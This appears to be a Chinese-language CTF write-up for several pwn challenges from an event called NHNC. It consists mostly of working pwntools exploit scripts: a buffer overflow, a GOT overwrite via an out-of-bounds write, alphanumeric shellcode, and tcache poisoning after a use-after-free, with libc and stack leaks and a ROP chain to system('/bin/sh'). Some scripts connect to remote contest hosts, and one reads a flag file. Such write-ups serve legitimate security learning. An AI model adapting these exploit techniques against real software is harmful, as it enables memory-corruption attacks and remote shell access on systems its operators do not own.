Grading system
有隐藏菜单S,直接得到shell
DOF
两个字符串比较检查,通过溢出覆盖检查位置
from pwn import *
context.log_level='debug'
p = remote('chal.nhnc.ic3dt3a.org', 2000)
p.sendlineafter(b"What's you name:", b'A'*16+b"cat_sleeping\0")
p.sendlineafter(b"Enter the name: ", b'A'*0x18+p64(0x21)+b"pwn3d!!!\0")
p.interactive()
#NHNC{dof==doblue_over_flow?!?!}
welcome
关于OOB,这题自带一个WP,但是远程没弄成。
PIE未开,并且各种表可写。当输入一个大数(1<<32)malloc会返回0,这时候写的位置取决于输入的idx,可以输入0x403310直接写got表。按WP上说,覆盖got.free的后3个字(爆破4位)为one。后边一句是未验题。
#include <stdio.h>
#include <stdlib.h>
int main() {
size_t size, idx;
char *ptr, val;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Size: ");
scanf(" %zu", &size);
ptr = malloc(size);
while (1) {
printf("Index: ");
scanf(" %zu", &idx);
printf("Val: ");
scanf(" %hhx", &val);
if (idx > size) {
free(ptr);
exit(0);
} else {
ptr[idx] = val;
}
}
return 0;
}
当输入大数ptr为0时输入字节覆盖got表,这时候free还没有被调用过未初始化时是指向plt表的。所以并不能写成one。
作了两个都没成功。第1个是将got.exit改为指向main,返回调用free时会填充,然后调用exit实际上调用main这时再修改got.free为one,因为one有好多条件并且加上爆破的原因大概率不成功,本地成功后远程也不成功(其实所以方法远程都不成功,一直没找到正确方法)。
第2个方法改了点把malloc直接改成system,把exit改成main这样再次调用时malloc(/bin/sh)就行
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = process('./chal')
#p = remote('chal.nhnc.ic3dt3a.org', 2004)
#1, OOB write size=0x100000000 ptr=0
bignum = 1<<32
p.sendlineafter(b"Size: ", str(bignum).encode())
def write(v,n,target):
for i in range(n):
p.sendlineafter(b'Index: ', str(target+i).encode())
p.sendlineafter(b'Val: ', hex(v[i])[2:].zfill(2).encode())
#2,got.exit->main got.malloc->system(force 4bit)
write(p64(0x4011d6),3, elf.got['exit'])
write(p64(0xc50d70),3, elf.got['malloc'])
write(b'/bin/sh',7, 0x403380)
write(b'\0',1, bignum+2)
p.sendlineafter(b"Size: ", str(0x403380).encode())
p.interactive()
但这里有个小问题,题目给了Dockfile 是ubuntu 22.04应该是对应2.35但不知道小版本所以可能这个system不正确。
同样修改的另一个版本是修改符号表里的malloc串为system并改为初始化前的值,同样不知道版本的情况下string的位置也不清楚。本地不用爆破但是远程也成功不了。
用一个不用爆破的方法,先将malloc改为printf,free改为main这样第2次调起输入stdin得到泄露的libc地址,再改malloc为system再回来输入/bin/sh地址。不过远程还是执行不起来,估计给的附件有问题。那个main或者got的地址不大对。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./chal')
p = process('./chal')
#gdb.attach(p, "b*0x4012de\nc")
#p = remote('chal.nhnc.ic3dt3a.org', 2004)
#1, OOB write size=0x100000000 ptr=0
bignum = 1<<32
p.sendlineafter(b"Size: ", str(bignum).encode())
def write(v,n,target):
for i in range(n):
p.sendlineafter(b'Index: ', str(target+i).encode())
p.sendlineafter(b'Val: ', hex(v[i])[2:].zfill(2).encode())
#gdb.attach(p, "b*0x401268\nc")
write(p64(0x4011d6),8, elf.got['free'])
write(p64(0x401040),8, elf.got['malloc']) #malloc->printf
write(b'\0',1, bignum+2)
p.sendlineafter(b"Size: ", str(0x403350).encode())
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - libc.sym['_IO_2_1_stdin_']
print(f"{libc.address = :x}")
write(p64(libc.sym['system']),8, elf.got['malloc']-6)
write(b'\0',1, bignum+2)
p.sendlineafter(b"Size: ", str(next(libc.search(b'/bin/sh\0'))).encode())
p.interactive()
Filtered
只能用大小写字母和数字的shellcode。利用残留的rax=buf,rbx=0造个read网上有造system的,但感觉他用的rax^0x30这种偏移不大成功,因为这个异或并不是加法。
#include <stdio.h>
#define SHELLCODE_LENGTH 0x1000
int main() {
char shellcode[SHELLCODE_LENGTH];
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
puts("Speak English *ONLY* !!!");
puts("No more crazy stuffs like binary !!!");
scanf(" %[a-zA-Z0-9]", shellcode);
((void (*)(void))shellcode)();
}
自己写的用xor [rax+0x30],ecx来造pop rdi;pop rsi;syscall
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./chal')
#需要patchelf成对应版本,不然可能rbx不为0,可换rcx,r8,r10,....
shellcode = '''
push rax; push rbx;push rbx; /* 0,0,buf -> rax,rdi,rsi */
push 0x30613030; pop rcx; /* onn5^00a0 = _^\x0f\x05 */
xor dword ptr [rax+0x30],ecx;
pop rax;
push 0x70;pop rdx; /* rdx */
'''
p.sendlineafter(b'y !!!\n',asm(shellcode)+b'QY'*16+b'onn5')
sleep(0.5)
p.send(b'\x90'*0x38+asm(shellcraft.sh()))
p.interactive()
Fishbaby's Library
给了个wp是正确的,输入即可
SLIME MACHINE REVENGE
堆题,限制只能用malloc 7次,有uaf。通过uaf控制tcache这样可以直接写地址不用malloc两次。
通过泄露environ然后在栈里写rop
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8_amd64/libc.so.6')
def add(size):
p.sendlineafter(b">>> ", b'1')
p.sendlineafter(b"size: ", str(size).encode())
def show(idx):
p.sendlineafter(b">>> ", b'2')
p.sendlineafter(b"index: ", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(b">>> ", b'3')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"data: ", msg)
def free(idx):
p.sendlineafter(b">>> ", b'4')
p.sendlineafter(b"index: ", str(idx).encode())
#p = process('./chal')
p = remote('23.146.248.196', 48763)
add(0x430) #0
add(0x280) #1
free(0)
show(0)
p.recvuntil(b"[0]: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x203b20
print(f"{libc.address = :x}")
add(0x280) #2
free(1)
free(2)
show(1)
p.recvuntil(b"[1]: ")
heap = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))<<12
print(f"{heap = :x}")
#控制tcache
edit(2, p64((heap+0x10)^(heap>>12)))
add(0x280) #3
add(0x280) #4 tcache
#泄露栈地址
edit(4, b'\x01'.ljust(0x80,b'\0') + p64(libc.sym['_environ']-0x18))
add(0x18) #5
edit(5, b'A'*0x18)
show(5)
p.recvuntil(b"[5]: ")
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x150
print(f"{stack = :x}")
#在栈上写ROP
edit(4, p64(0)+p64(1)+p64(0)*14 + flat(0,0,0,0, stack+0x8))
add(0x58) #6
#
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
pay = flat(0,0,0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
edit(6, pay)
#gdb.attach(p, "b*0x55555555567d\nc")
p.sendlineafter(b">>> ", b'5')
p.interactive()
#NHNC{Slimes_issss_so_cute_and_evil!!!So_crazy_you_really_love_SLIME!!!!!}
SLIME MACHINE REVENGE REVENGE
给了个gift是ld的地址,似乎想不到怎么用才更好。次数255,但限制size<=0x90 所以拿上题改一下。限制size可以分两次控制tcache.cnt,tcache.ptr 后边方法一样。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
def add(size):
p.sendlineafter(b">>> ", b'1')
p.sendlineafter(b"size: ", str(size).encode())
def show(idx):
p.sendlineafter(b">>> ", b'2')
p.sendlineafter(b"index: ", str(idx).encode())
def edit(idx,msg):
p.sendlineafter(b">>> ", b'3')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"data: ", msg)
def free(idx):
p.sendlineafter(b">>> ", b'4')
p.sendlineafter(b"index: ", str(idx).encode())
#p = process('./chal')
p = remote('23.146.248.196', 41423)
for i in range(8):
add(0x90)
for i in range(7,-1,-1):
free(i)
show(7)
p.recvuntil(b": ")
heap = u64(p.recvuntil(b'\n', drop=True).ljust(8,b'\0'))<<12
print(f"{heap = :x}")
show(0)
p.recvuntil(b"[0]: ")
libc.address = u64(p.recv(6)+b'\0\0') - 0x21ace0
print(f"{libc.address = :x}")
add(0x48) #8
add(0x48) #9
free(9)
free(8)
edit(8, p64((heap+0x90)^(heap>>12)))
add(0x48)
add(0x48) #11 tcache.ptr
add(0x38)
add(0x38)
free(13)
free(12)
edit(12, p64((heap+0x10)^(heap>>12)))
add(0x38)
add(0x38) #15 tcache.cnt
edit(15, p16(1)*9)
edit(11, p64(libc.sym['_environ'])*9)
add(0x40) #16
show(16)
p.recvuntil(b"[16]: ")
stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x140
print(f"{stack = :x}")
edit(15, p16(1)*9)
edit(11, p64(stack-0x18)*9)
add(0x80) #17
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pay = flat(0,0,0,pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
edit(17, pay)
sleep(0.5)
p.sendline(b"cat /home/chal/flag.txt")
p.interactive()
#NHNC{Tsundere_slime_is_not_that_easy_to_handle_is_it?}